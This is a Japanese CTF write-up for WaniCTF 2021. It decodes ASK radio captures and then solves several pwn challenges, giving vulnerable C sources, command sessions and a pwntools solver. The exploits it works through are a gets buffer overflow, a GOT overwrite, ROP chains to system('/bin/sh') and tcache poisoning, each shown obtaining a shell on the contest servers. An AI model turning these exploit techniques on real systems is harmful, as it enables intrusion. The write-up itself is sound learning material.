#!/usr/bin/env python3.8 original_bits = [] with open("digital_ask.csv") as f: one_occured = False for line in f: if line.startswith("time,signal"): continue b = int(line.split(",")[1]) if b == 1: one_occured = True if one_occured: original_bits.append(b) compressed_bits = [] for i in range(len(original_bits)//16): chunk = original_bits[i*16:(i+1)*16] assert all(map(lambda b: b==chunk[0], chunk)) compressed_bits.append(chunk[0]) result = bytearray() tmp = 0 for (i, b) in enumerate(compressed_bits): tmp = (tmp << 1) | b if i % 8 == 7: result.append(tmp) tmp = 0 print(result)
$ ./solve.py bytearray(b"\xaa\xaa\xaa\xaa\xe5FLAG{please-understand-frame-format-of-wireless-communication}\n\x00\x00\x00\x00\x00\x00*\xaa\xaa\xaa\xb9Q\x93\x10Q\xde\xdc\x1b\x19X\\\xd9K][\x99\x19\\\x9c\xdd\x18[\x99\x0bY\x9c\x98[YKY\x9b\xdc\x9bX]\x0b[\xd9\x8b]\xda\\\x99[\x19\\\xdc\xcbX\xdb\xdb[][\x9aX\xd8]\x1a[\xdb\x9fB\x80\x00\x00\x00\x00\x00\n\xaa\xaa\xaa\xaeTd\xc4\x14w\xb7\x06\xc6V\x176R\xd7V\xe6FW\'7F\x16\xe6B\xd6g&\x16\xd6R\xd6f\xf7&\xd6\x17B\xd6\xf6b\xd7v\x97&V\xc6W72\xd66\xf6\xd6\xd7V\xe6\x966\x17F\x96\xf6\xe7\xd0\xa0\x00\x00\x00\x00\x00\x02\xaa\xaa\xaa\xab\x95\x191\x05\x1d\xed\xc1\xb1\x95\x85\xcd\x94\xb5\xd5\xb9\x91\x95\xc9\xcd\xd1\x85\xb9\x90\xb5\x99\xc9\x85\xb5\x94\xb5\x99\xbd\xc9\xb5\x85\xd0\xb5\xbd\x98\xb5\xdd\xa5\xc9\x95\xb1\x95\xcd\xcc\xb5\x8d\xbd\xb5\xb5\xd5\xb9\xa5\x8d\x85\xd1\xa5\xbd\xb9\xf4(\x00\x00\x00\x00\x00\x00\xaa\xaa\xaa\xaa\xe5FLAG{please-understand-frame-format-of-wireless-communication}\n\x00\x00\x00\x00\x00\x00*\xaa\xaa\xaa\xb9Q\x93\x10Q\xde\xdc\x1b\x19X\\\xd9K][\x99\x19\\\x9c\xdd\x18[\x99\x0bY\x9c\x98[YKY\x9b\xdc\x9bX]\x0b[\xd9\x8b]\xda\\\x99[\x19\\\xdc\xcbX\xdb\xdb[][\x9aX\xd8]\x1a[\xdb\x9fB\x80\x00\x00\x00\x00\x00\n\xaa\xaa\xaa\xaeTd\xc4\x14w\xb7\x06\xc6V\x176R\xd7V\xe6FW\'7F\x16\xe6B\xd6g&\x16\xd6R\xd6f\xf7&\xd6\x17B\xd6\xf6b\xd7v\x97&V\xc6W72\xd66\xf6\xd6\xd7V\xe6\x966\x17F\x96\xf6\xe7\xd0\xa0\x00\x00\x00\x00\x00\x02\xaa\xaa\xaa\xab\x95\x191\x05\x1d\xed\xc1\xb1\x95\x85\xcd\x94\xb5\xd5\xb9\x91\x95\xc9\xcd\xd1\x85\xb9\x90\xb5\x99\xc9\x85\xb5\x94\xb5\x99\xbd\xc9\xb5\x85\xd0\xb5\xbd\x98\xb5\xdd\xa5\xc9\x95\xb1\x95\xcd\xcc\xb5\x8d\xbd\xb5\xb5\xd5\xb9\xa5\x8d\x85\xd1\xa5\xbd\xb9\xf4(\x00\x00\x00\x00\x00\x00\xaa\xaa\xaa\xaa\xe5FLAG{please-understand-frame-format-of-wireless-communication}\n\x00\x00\x00\x00\x00\x00*\xaa\xaa\xaa\xb9Q\x93\x10Q\xde\xdc\x1b\x19X\\\xd9K][\x99\x19\\\x9c\xdd\x18[\x99\x0bY\x9c\x98[YKY\x9b\xdc\x9bX]\x0b[\xd9\x8b]\xda\\\x99[\x19\\\xdc\xcbX\xdb\xdb[][\x9aX\xd8]\x1a[\xdb\x9fB") $
bytes出力なので1行が長いですが、フラグを入手できました: FLAG{please-understand-frame-format-of-wireless-communication}
[Misc, Hard] ASK over the air (367pt, 16solved)
無線通信問題3問目です。 ASK変調したデータを電波で飛ばしてUSRPでキャプチャしたデータです。 フレームフォーマットはdigital ASKと同じです。 I信号とQ信号に分かれているところが若干トリッキーですが、digital ASKが解けたなら行けるはず... 実機使ったので謎のパルスノイズが乗っていますが、無視してください。
配布ファイルを確認すると、以下のようなこれまでとは違う列を持つask-over-the-air.csv
が含まれていました:
time,I,Q 0.000000 ,-3.05E-05,-1.53E-04 0.000004 ,-1.22E-04,-1.53E-04 0.000008 ,-3.05E-05,-6.10E-05 0.000012 ,-3.05E-05,0.00E+00 (以下省略)
「I信号とQ信号からどうやって振幅を求めるのか?」と調べてみると、ダイレクトコンバージョン受信機 - Wikipediaを見つけました。それによると振幅 m_t = sqrt(I_t^2 + Q_t^2)
とのことです。
どのようの値取るのか気になったのでプロットしてみました。プロット結果を眺めていると、16要素ずつパルスのようなものが出ていることがある点に気づきました。また、(パルスが目立っているので気づくまで数時間かかりました、これが問題文で言及されているパルスノイズみたいです)パルス要素を無視すると振幅の0/1が現れているようで、それを目で解釈すると前の問題と同じ0xAA, 0xAA, 0xAA, 0xAA, 0xE5
の構造を見つけました:
分かったことを基に、復号するソルバーを書きました。データが1バイトの途中のビットから始まっていてもいいように、ビット0を先頭に足すためのループを入れています。プロットする処理も残しています:
#!/usr/bin/env python3.8 import ast import math import matplotlib.pyplot as plt SAMPLES_PER_BIT = 16 time_list = [] original_iq_list = [] with open("ask-over-the-air.csv") as f: for line in f: if line.startswith("time,I,Q"): continue elements = list(map(ast.literal_eval, line.split(","))) time_list.append(elements[0]) original_iq_list.append((elements[1], elements[2])) amplitude_list = list(map(lambda t:math.sqrt(t[0]**2 + t[1]**2), original_iq_list)) plt.figure(figsize=(10000/96, 200/96)) plt.subplot(211) plt.plot(time_list, list(map(lambda t:t[0], original_iq_list)), color="red") plt.plot(time_list, list(map(lambda t:t[1], original_iq_list)), color="blue") plt.subplot(212) for t in time_list[::SAMPLES_PER_BIT]: plt.axvline(x=t, color="gray") plt.plot(time_list, amplitude_list, color="black") plt.savefig("plot_test.png") plt.clf() def check(threshold, check_interval, offset, prefix_bits): original_bits = list(prefix_bits) for (i, amplitude) in enumerate(amplitude_list): if (i+offset)%check_interval == 0: original_bits.append(int(amplitude > threshold)) result = bytearray() tmp = 0 for (i, b) in enumerate(original_bits): tmp = (tmp << 1) | b if i % 8 == 7: result.append(tmp) tmp = 0 for b in result: print(chr(b) if 0x20<=b<0x7F else ".", end="") print() prefix_bits = [] for _ in range(8): check_interval = SAMPLES_PER_BIT offset = SAMPLES_PER_BIT//2 threshold = 0.0005 check(threshold, check_interval, offset, prefix_bits) prefix_bits.append(0)
$ ./solve.py ............1.......................%.P................(.... ......UUUU.........Z...Z......Z....Z...Z.................... ...........FLAG{you-can-decode-many-IoT-communications}..... ......UUUUr.& ...........2...2....<...........4...4..9....... ......*....Q..Q..[.KX.[.Y.X...K[X[.KR[..X..[][.X.].[...B..... .......UUU\...(.o-...l-....m.....-.%.-...m.....,l..-..o.@.... ...........Td..w...R.6...FV6.FR........B.6...V..6.F...7...... .......UUUW*2b.;..{.k..qk#+.{#)kk.s.jKz.k.{kk.sK...K{s..P.... $
フラグを入手できました: FLAG{you-can-decode-many-IoT-communications}
[Pwn, Beginner] nc (144pt, 241solved)
nc nc.pwn.wanictf.org 9001 ヒント netcat (nc)と呼ばれるコマンドを使うだけです。 つないだら何も出力されなくてもLinuxコマンドを打ってenterを入力してみましょう。 Linuxの基本的なコマンド集 pwnの問題ではシェルが取れたときに何も出力されないので分かり辛いですが、とりあえずlsとか実行してみるとシェルが取れてたりすることがあります。 使用ツール例 netcat (nc)
配布ファイルを確認すると、ELFバイナリと、その元となるCソースコードが含まれていました:
#include <stdio.h> #include <stdlib.h> #include <unistd.h> void init(); void win() { puts("welcome to WaniCTF 2021!!!"); system("/bin/sh"); exit(0); } int main() { init(); win(); } void init() { alarm(100); setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); }
接続するだけでシェルを貰えそうです。とりあえず問題文のとおりにnc接続しました:
$ nc nc.pwn.wanictf.org 9001 -q 0 welcome to WaniCTF 2021!!! ls chall flag.txt redir.sh cat flag.txt FLAG{the-1st-step-to-pwn-is-netcatting} $
フラグを入手できました: FLAG{the-1st-step-to-pwn-is-netcatting}
[Pwn, Beginner] BOF (153pt, 197solved)
よーし、今日も魔王を倒しに行くか! ...あれ、ふっかつのじゅもんが違う...だと...? nc bof.pwn.wanictf.org 9002 ヒント title を調べてみましょう。
配布ファイルを確認すると、同じようにELFバイナリと、その元となるCソースコードが含まれていました:
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> char flag[0x34]; void setup() { FILE *f = NULL; alarm(60); setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); if ((f = fopen("flag.txt", "rt")) == NULL) { printf("NotFound::flag.txt\n"); exit(0); } fscanf(f, "%s", flag); fclose(f); } int main() { char password[0x34] = ""; int ok = 0; setup(); printf("ふっかつのじゅもんを いれてください\n"); gets(password); if (strcmp(password, flag) == 0) ok = 1; if (ok) { printf("よくぞもどられた!\n"); printf("%s\n", flag); } else { printf("じゅもんが ちがいます\n"); } }
gets
を使っているのでバッファオーバーフローが可能です。それによりok
変数を上書きできてフラグを入手できそうです。とりあえず適当な文字数を送信しました:
$ python3.8 -c 'print("A"*0x40)' | nc bof.pwn.wanictf.org 9002 ふっかつのじゅもんを いれてください よくぞもどられた! FLAG{D0_y0U_kN0w_BuFf3r_0Ver_fL0w?_ThA2k_y0U_fOR_s01v1ng!!} $
フラグを入手できました: FLAG{D0_y0U_kN0w_BuFf3r_0Ver_fL0w?_ThA2k_y0U_fOR_s01v1ng!!}
[Pwn, Easy] got rewriter (170pt, 142solved)
ヒント 「参考になるwriteupを探す練習」用の問題です。 CTFではwriteupを探すと過去の問題で参考になる情報が載っているページがあったりすることが多く、それを読みながら少しずつ自分の技術力を高めていきます。 この問題ではgot rewriter writeup WaniCTFでググると参考になるページが出てくるかもしれません。
「過去問検索練習用問題、そういうのもありなのか」と思いながら配布ファイルを確認すると、同じようにELFバイナリと、その元となるCソースコードが含まれていました:
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> void init(); void win() { printf("congratulation!\n"); system("/bin/sh"); exit(0); } unsigned long int get_val() { char str_val[0x20]; int ret; unsigned long int val; ret = read(0, str_val, 0x20 - 1); str_val[ret] = 0; val = strtol(str_val, NULL, 16); return val; } void vuln() { char str_val[0x20]; unsigned long int val; unsigned long int *p; int ret; printf("Please input target address (0x600000-0x700000): "); val = get_val(); printf("Your input address is 0x%lx.\n", val); if (val < 0x600000 || val > 0x700000) { printf("you can't rewrite 0x%lx!\n", val); return; } p = (unsigned long int *)val; printf("Please input rewrite value: "); val = get_val(); printf("Your input rewrite value is 0x%lx.\n\n", val); printf("*0x%lx <- 0x%lx.\n\n\n", (unsigned long int)p, val); *p = val; } int main() { init(); printf("Welcome to GOT rewriter!!!\n"); printf("win = 0x%lx\n", (unsigned long int)win); while (1) { vuln(); } } void init() { alarm(0x100); setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); }
問題タイトルの通り、GOT上書きを行う問題と考えました。とりあえずchecksecを試すと、PIEが無効化されているのでELF中のアドレスは固定されていそうです:
$ gdb -q got Reading symbols from got...(no debugging symbols found)...done. gdb-peda$ checksec CANARY : ENABLED FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial gdb-peda$
GOT箇所のアドレス検索は何を使えばいいんだっけと思いながらとりあえずIDAに投げると、IDAでもちゃんと分かりました:
.got.plt:0000000000601000 ; Segment type: Pure data .got.plt:0000000000601000 ; Segment permissions: Read/Write .got.plt:0000000000601000 _got_plt segment qword public 'DATA' use64 .got.plt:0000000000601000 assume cs:_got_plt .got.plt:0000000000601000 ;org 601000h .got.plt:0000000000601000 _GLOBAL_OFFSET_TABLE_ dq offset _DYNAMIC .got.plt:0000000000601008 qword_601008 dq 0 ; DATA XREF: sub_400680↑r .got.plt:0000000000601010 qword_601010 dq 0 ; DATA XREF: sub_400680+6↑r .got.plt:0000000000601018 off_601018 dq offset puts ; DATA XREF: _puts↑r .got.plt:0000000000601020 off_601020 dq offset __stack_chk_fail .got.plt:0000000000601020 ; DATA XREF: ___stack_chk_fail↑r .got.plt:0000000000601028 off_601028 dq offset setbuf ; DATA XREF: _setbuf↑r .got.plt:0000000000601030 off_601030 dq offset system ; DATA XREF: _system↑r .got.plt:0000000000601038 off_601038 dq offset printf ; DATA XREF: _printf↑r .got.plt:0000000000601040 off_601040 dq offset alarm ; DATA XREF: _alarm↑r .got.plt:0000000000601048 off_601048 dq offset read ; DATA XREF: _read↑r .got.plt:0000000000601050 off_601050 dq offset strtol ; DATA XREF: _strtol↑r .got.plt:0000000000601058 off_601058 dq offset exit ; DATA XREF: _exit↑r .got.plt:0000000000601058 _got_plt ends
今回の問題の場合は0x600000~0x700000の範囲が上書き可能で、その範囲に含まれていることも分かります。どの関数のGOTを改ざんしようと考えてみたところ、printf関数はwin関数呼び出し時にお祝いのために使われているので残すことにして、他にループ中に使われているstrtol関数を改ざんすることにしました。そういうわけでncコマンドで接続して手打ちしました:
$ nc got-rewriter.pwn.wanictf.org 9003 -q 0 Welcome to GOT rewriter!!! win = 0x400807 Please input target address (0x600000-0x700000): 0x0000000000601050 Your input address is 0x601050. Please input rewrite value: 0x400807 Your input rewrite value is 0x400807. *0x601050 <- 0x400807. Please input target address (0x600000-0x700000): 0 congratulation! ls chall flag.txt redir.sh cat flag.txt FLAG{you-are-pro-pwner-or-learned-how-to-find-writeup} $
フラグを入手できました: FLAG{you-are-pro-pwner-or-learned-how-to-find-writeup}
(いいえ趣味)
[Pwn, Easy] rop-machine-returns (179pt, 122solved)
nc rop-machine-returns.pwn.wanictf.org 9004 ヒント 「参考になるwriteupを探す練習」用の問題です。 CTFではwriteupを探すと過去の問題で参考になる情報が載っているページがあったりすることが多く、それを読みながら少しずつ自分の技術力を高めていきます。 rop-machineを使った問題はWaniCTF'21-springでも出しています。 githubでwanictf rop writeupで検索すると何か出てくるかもしれません。 rop machineの使い方->wani-hackase/rop-machine
配布ファイルを確認すると、同じようにELFバイナリと、その元となるCソースコードが含まれていました:
#include <malloc.h> #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> char *name_gadgets[16]; u_int64_t addr_gadgets[16]; char binsh[] = "/bin/sh"; void rop_pop_rdi(); void rop_syscall(); void init() { alarm(0x100); setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); } void create_gadgets_table() { name_gadgets[0] = "execute"; name_gadgets[1] = "push value"; name_gadgets[2] = "pop rdi; ret"; name_gadgets[3] = "system"; addr_gadgets[0] = 0; addr_gadgets[1] = 0; addr_gadgets[2] = ((u_int64_t)rop_pop_rdi) + 8; addr_gadgets[3] = ((u_int64_t)system); } void rop_pop_rdi() { __asm__("pop %rdi\n\t" "ret\n\t"); } char *get_rop_name(u_int64_t addr) { int i; for (i = 0; i < 7; i++) { if (addr_gadgets[i] == 0) { continue; } if (addr_gadgets[i] == addr) { return name_gadgets[i]; } } return NULL; } void print_menu() { printf("\n\"%s\" address is %p\n", binsh, binsh); printf("\n[menu]\n" "1. append hex value\n" "2. append \"pop rdi; ret\" addr\n" "3. append \"system\" addr\n" "8. show menu (this one)\n" "9. show rop_arena\n" "0. execute rop\n"); } u_int64_t get_uint64() { char buf[64]; u_int64_t ret; ret = read(0, buf, 63); buf[ret] = 0; ret = strtoul(buf, NULL, 16); return ret; } u_int64_t menu() { u_int64_t ret; printf("> "); ret = get_uint64(); return ret; } void show_arena(u_int64_t *rop_arena, int index) { int i; puts(" rop_arena"); puts("+--------------------+"); for (i = 0; i < index; i++) { char *name = get_rop_name(rop_arena[i]); if (name != NULL) { printf("| %-18s |", name); } else { printf("| 0x%016lx |", rop_arena[i]); } if (i == 0) { printf("<- rop start"); } printf("\n"); puts("+--------------------+"); } } void rop_machine() { u_int64_t rop_arena[128]; u_int64_t *top = rop_arena; int index = 0; u_int64_t ret; print_menu(); while (1) { int cmd = menu(); switch (cmd) { case 1: printf("hex value?: "); ret = get_uint64(); rop_arena[index] = ret; index++; printf("0x%016lx is appended\n", ret); break; case 2: case 3: rop_arena[index] = addr_gadgets[cmd]; printf("\"%s\" is appended\n", name_gadgets[cmd]); index++; break; case 8: print_menu(); break; case 9: show_arena(rop_arena, index); break; case 0: show_arena(rop_arena, index); { register u_int64_t rsp asm("rsp"); rsp = (u_int64_t)rop_arena; __asm__("ret"); exit(0); } default: puts("bye!!!\n"); exit(1); break; } } } int main() { init(); puts("welcome to rop-machine-returns!!!"); create_gadgets_table(); rop_machine(); }
「pop rdi」ガジェット、"/bin/sh"アドレス、system関数、の順にROPを組めば良さそうです。そういうわけでncで接続して手打ちしました:
$ nc rop-machine-returns.pwn.wanictf.org 9004 -q 0 welcome to rop-machine-returns!!! "/bin/sh" address is 0x404070 [menu] 1. append hex value 2. append "pop rdi; ret" addr 3. append "system" addr 8. show menu (this one) 9. show rop_arena 0. execute rop > 2 "pop rdi; ret" is appended > 1 hex value?: 0x404070 0x0000000000404070 is appended > 3 "system" is appended > 0 rop_arena +--------------------+ | pop rdi; ret |<- rop start +--------------------+ | 0x0000000000404070 | +--------------------+ | system | +--------------------+ ls chall flag.txt redir.sh cat flag.txt FLAG{please-learn-how-to-use-rop-machine} Segmentation fault (core dumped) $
フラグを入手できました: FLAG{please-learn-how-to-use-rop-machine}
[Pwn, Normal] baby_heap (250pt, 51solved)
Tcache poisoningを練習するための問題です。 自由にmallocとfreeと書き込みができます。 freeされたchunkにはデータの代わりにfdというアドレスが残ります。 fd(forward)はLast-In-First-OutのLinked Listで構成されます。 malloc先はこのfdのアドレスを参照して決められます。 main_retにmallocしてsystem('/bin/sh')を書いてmain関数を終了しましょう。
懺悔します。親切な表示やヒントを見ながらよくわからないまま入力していたら解けてしまいました。
ひとまず、配布ファイルは同じようにELFバイナリと、その元となるCソースコードが含まれていました:
#include <stdio.h> #include <stdlib.h> #include <unistd.h> void init() { alarm(600); setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); } void menu() { printf("1. malloc\n"); printf("2. free\n"); printf("3. write\n"); printf("4. exit\n>"); } void win() { system("/bin/sh"); } void print_fd(long long int entry, int count) { long long int array[5] = { 0, }; long long int *temp; temp = (void *)entry; printf("\n!! Segfault may happen when fd isn't readable address\n"); printf("fd >>> "); for (int i = 0; i < count && temp > 0xFFFFFFFF && temp < 0x7FFFFFFFFFFF; i++) { array[i] = *temp; printf("0x%llx ", array[i]); temp = (void *)array[i]; } if (temp < 0xFFFFFFFF || temp > 0x7FFFFFFFFFFF) printf("Maybe Segfault from here..."); printf("\n ↑ \n"); printf("Will be allocated for the next malloc\n\n"); } void print_info(char **list) { unsigned long r; for (int i = 0; i < 5; i++) { unsigned long long *p; unsigned long long *k; p = (unsigned long long *)(list[i]); k = (unsigned long long *)(list[i] + 8); printf("[%d] : ", i); if (list[i] == NULL) printf("Not Allocated\n"); else if (*k != 0) { printf("Free Chunk\n"); printf("Chunk at>%p\n", list[i]); printf("fd : 0x%llx\n", *p); } else { printf("Allocated Chunk\n"); printf("Chunk at>%p\n", list[i]); printf("Data : %s\n", list[i]); } } } int main() { int idx; int choice; char *head; char *heap_list[5] = { NULL, }; long long int entry; int *fd_count; init(); head = (char *)malloc(0x10 * sizeof(char)); entry = head - 0x2a0 + 0x90; fd_count = head - 0x2a0 + 0x10; while (choice != 4) { printf("Do arbitrary write using tcache bin.\n"); printf("ldd (Ubuntu GLIBC 2.31-0ubuntu9.2) 2.31\n"); printf("malloc is fixed at size 0x10\n"); printf("\nsystem('/bin/sh') at >0x%llx\n", (long long int)win + 0x8); printf("Return address of main at >0x%llx\n\n", (long long int)&idx + 0x68); printf("Bin count >%d\n", *fd_count); print_fd(entry, *fd_count); print_info(heap_list); printf("---------------\n"); menu(); scanf("%d", &choice); if (choice < 1 || choice > 4) { printf("Out of Boundary\n"); exit(-1); } switch (choice) { case 1: printf("Where? >"); scanf("%d", &idx); if (idx < 0 || idx > 5) { printf("Out of Boundary\n"); exit(-1); } else { heap_list[idx] = (char *)malloc(0x10 * sizeof(char)); memset(heap_list[idx], 0, 0x10); } break; case 2: printf("Where? >"); scanf("%d", &idx); if (idx < 0 || idx > 5) { printf("Out of Boundary\n"); exit(-1); } else { free(heap_list[idx]); } break; case 3: printf("What will happen if you can write fd of free chunk?\n"); printf("Where? >"); scanf("%d", &idx); if (idx < 0 || idx > 5) { printf("Out of Boundary\n"); exit(-1); } else { printf("What? ( ex: 0x123456 )>"); scanf("%p", heap_list[idx]); } } printf("\n"); } }
手元ではELFを実行しても即SegmantationFaultとなってしまいました:
$ ./chall Do arbitrary write using tcache bin. ldd (Ubuntu GLIBC 2.31-0ubuntu9.2) 2.31 malloc is fixed at size 0x10 system('/bin/sh') at >0x5575914f1342 Return address of main at >0x7fffdecc32f8 Segmentation fault $
(2021/11/07 22:35追記)配布ファイルの中に、Dockerfile等が含まれていることを見逃していました。おそらくそれで環境を構築すると正常に実行できるんだと思います。
とりあえずncで接続して試すと、system("/bin/sh")
してくれるアドレスと、main関数の戻りアドレスの位置を毎回示してくれて、かつmalloc, free, writeを何度でもできる内容でした。また、新規mallocに使われるfdも表示してくれました。
それでここからが全然分かっていないんですが、malloc2回、それら2つともfree、freeした2つにmain関数戻りアドレス書き込みをすると、fd箇所にmainの戻りアドレスが現れました:
(freeしたものの1つ目にだけmain関数戻りアドレスを書き込んだ状態) fd >>> 0x559544f582e0 0x559544f582c0 ↑ Will be allocated for the next malloc [0] : Free Chunk Chunk at>0x559544f582c0 fd : 0x7ffc0881b438 [1] : Free Chunk Chunk at>0x559544f582e0 fd : 0x559544f582c0 [2] : Not Allocated [3] : Not Allocated [4] : Not Allocated --------------- 1. malloc 2. free 3. write 4. exit >3 What will happen if you can write fd of free chunk? Where? >1 What? ( ex: 0x123456 )>0x7ffc0881b438 Do arbitrary write using tcache bin. ldd (Ubuntu GLIBC 2.31-0ubuntu9.2) 2.31 malloc is fixed at size 0x10 system('/bin/sh') at >0x5595437cc342 Return address of main at >0x7ffc0881b438 Bin count >2 !! Segfault may happen when fd isn't readable address fd >>> 0x559544f582e0 0x7ffc0881b438 ↑ Will be allocated for the next malloc [0] : Free Chunk Chunk at>0x559544f582c0 fd : 0x7ffc0881b438 [1] : Free Chunk Chunk at>0x559544f582e0 fd : 0x7ffc0881b438 [2] : Not Allocated [3] : Not Allocated [4] : Not Allocated --------------- 1. malloc 2. free 3. write 4. exit
後は別に2回mallocすると、2回目に返されるチャンクがmain戻りアドレス箇所になっており、そこをsystem("/bin/sh")
アドレスへ改ざんしてexitするとシェルが取れました。とりあえずソルバーに直したものがこちらです:
#!/usr/bin/env python3.8 import pwn import ast def solve(tube): tube.readuntil(b"system('/bin/sh') at >") address_system = ast.literal_eval(tube.readlineS()) tube.readuntil(b"Return address of main at >") address_return_of_main = ast.literal_eval(tube.readlineS()) # malloc2回 tube.sendlineafter(b">", b"1") tube.sendlineafter(b"Where? >", b"0") tube.sendlineafter(b">", b"1") tube.sendlineafter(b"Where? >", b"1") # free2回 tube.sendlineafter(b">", b"2") tube.sendlineafter(b"Where? >", b"0") tube.sendlineafter(b">", b"2") tube.sendlineafter(b"Where? >", b"1") # free先chunkのfdにmain戻りアドレスを書き込み、らしい tube.sendlineafter(b">", b"3") tube.sendlineafter(b"Where? >", b"0") tube.sendlineafter(b"What? ( ex: 0x123456 )>", hex(address_return_of_main).encode()) tube.sendlineafter(b">", b"3") tube.sendlineafter(b"Where? >", b"1") tube.sendlineafter(b"What? ( ex: 0x123456 )>", hex(address_return_of_main).encode()) # 2回malloc、2回目にmain戻りアドレスがチャンクとして割り当てられる tube.sendlineafter(b">", b"1") tube.sendlineafter(b"Where? >", b"2") tube.sendlineafter(b">", b"1") tube.sendlineafter(b"Where? >", b"3") # main戻りアドレスの改ざん tube.sendlineafter(b">", b"3") tube.sendlineafter(b"Where? >", b"3") tube.sendlineafter(b"What? ( ex: 0x123456 )>", hex(address_system).encode()) # mainを終了させてシェル起動 tube.sendlineafter(b">", b"4") tube.clean() tube.interactive() with pwn.remote("babyheap.pwn.wanictf.org", 9006) as tube: solve(tube)
$ ./solve.py [+] Opening connection to babyheap.pwn.wanictf.org on port 9006: Done [*] Switching to interactive mode $ ls chall flag.txt redir.sh $ cat flag.txt FLAG{This_is_Hint_for_the_diva}$ [*] Closed connection to babyheap.pwn.wanictf.org port 9006 $
ヒープのことを何も理解できていませんが、フラグは入手できました: FLAG{This_is_Hint_for_the_diva}
[Pwn, Hard] rop-machine-final (285pt, 36solved)
nc rop-machine-final.pwn.wanictf.org 9005 ヒント ./flag.txtにフラグが書かれています。 "buf"のアドレスは提供されています。 rop machineの使い方->wani-hackase/rop-machine sample.pyを使うと楽です。 使用ツール例 pwntools
配布ファイルを確認すると、同じようにELFバイナリと、その元となるCソースコードが含まれていました:
#include <fcntl.h> #include <malloc.h> #include <stdio.h> #include <stdlib.h> #include <sys/stat.h> #include <sys/types.h> #include <unistd.h> // for compatibility extern char *gets(char *s); char *name_gadgets[16]; u_int64_t addr_gadgets[16]; char buf[128]; void rop_pop_rdi(); void rop_pop_rsi(); void rop_pop_rdx(); void init() { alarm(300); setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); } void create_gadgets_table() { name_gadgets[0] = "execute"; name_gadgets[1] = "push value"; name_gadgets[2] = "pop rdi; ret"; name_gadgets[3] = "pop rsi; ret"; name_gadgets[4] = "pop rdx; ret"; name_gadgets[5] = "gets"; name_gadgets[6] = "open"; name_gadgets[7] = "read"; name_gadgets[8] = "write"; addr_gadgets[0] = 0; addr_gadgets[1] = 0; addr_gadgets[2] = ((u_int64_t)rop_pop_rdi) + 8; addr_gadgets[3] = ((u_int64_t)rop_pop_rsi) + 8; addr_gadgets[4] = ((u_int64_t)rop_pop_rdx) + 8; addr_gadgets[5] = ((u_int64_t)gets); addr_gadgets[6] = ((u_int64_t)open); addr_gadgets[7] = ((u_int64_t)read); addr_gadgets[8] = ((u_int64_t)write); } void rop_pop_rdi() { __asm__("pop %rdi\n\t" "ret\n\t"); } void rop_pop_rsi() { __asm__("pop %rsi\n\t" "ret\n\t"); } void rop_pop_rdx() { __asm__("pop %rdx\n\t" "ret\n\t"); } char *get_rop_name(u_int64_t addr) { int i; for (i = 0; i < 10; i++) { if (addr_gadgets[i] == 0) { continue; } if (addr_gadgets[i] == addr) { return name_gadgets[i]; } } return NULL; } void print_menu() { printf("\n\"buf\" address is %p\n", buf); printf("\n[menu]\n" "0x01. append hex value\n" "0x02. append \"pop rdi; ret\" addr\n" "0x03. append \"pop rsi; ret\" addr\n" "0x04. append \"pop rdx; ret\" addr\n" "0x05. append \"gets\" addr\n" "0x06. append \"open\" addr\n" "0x07. append \"read\" addr\n" "0x08. append \"write\" addr\n" "0x0a. show menu (this one)\n" "0x0b. show rop_arena\n" "0x00. execute rop\n"); } u_int64_t get_uint64() { char buf[64]; u_int64_t ret; ret = read(0, buf, 63); buf[ret] = 0; ret = strtoul(buf, NULL, 16); return ret; } u_int64_t menu() { u_int64_t ret; printf("> "); ret = get_uint64(); return ret; } void show_arena(u_int64_t *rop_arena, int index) { int i; puts(" rop_arena"); puts("+-----------------------------------+"); for (i = 0; i < index; i++) { char *name = get_rop_name(rop_arena[i]); if (name != NULL) { printf("| 0x%016lx (%-12s) |", rop_arena[i], name); } else { printf("| 0x%031lx |", rop_arena[i]); } if (i == 0) { printf("<- rop start"); } printf("\n"); puts("+-----------------------------------+"); } } void rop_machine() { u_int64_t rop_arena[128]; u_int64_t *top = rop_arena; int index = 0; u_int64_t ret; print_menu(); while (1) { int cmd = menu(); printf("cmd = 0x%x\n", cmd); switch (cmd) { case 1: printf("hex value?: "); ret = get_uint64(); rop_arena[index] = ret; index++; printf("0x%016lx is appended\n", ret); break; case 2: case 3: case 4: case 5: case 6: case 7: case 8: rop_arena[index] = addr_gadgets[cmd]; printf("\"%s\" addr is appended\n", name_gadgets[cmd]); index++; break; case 10: print_menu(); break; case 11: show_arena(rop_arena, index); break; case 0: show_arena(rop_arena, index); { register u_int64_t rsp asm("rsp"); rsp = (u_int64_t)rop_arena; __asm__("ret"); exit(0); } default: puts("bye beginner!!\n"); exit(1); break; } } } int main() { init(); create_gadgets_table(); rop_machine(); }
この問題ではsystem関数などのシェルを取れそうなガジェットはないため、「bufに"flag.txt"を書き込み」→「flag.txtをopen」→「flag.txtをread」→「read内容を標準出力へwrite」の手順を取る必要がありそうです。この時、open結果のファイルディスクリプタをread関数へ渡す必要がありますが、「mov rdi, rax」ガジェットがなさそうでした。そのためgdbでopen結果を確認して、その値を直接ROPに組み込む方針を取りました。
「bufに"flag.txt"を書き込み」箇所で最初はgets関数を使おうとしていたのですが、どういうわけかSegmentation Faultが起こってしまいました。悩んでいたのですが、布団の中で「read関数を使えばいい」と閃きました。また、open関数の戻り値は3になるようでした。そういうわけで、配布ファイル中のsample.py
を参考にしながら以下のソルバーを書いて実行しました:
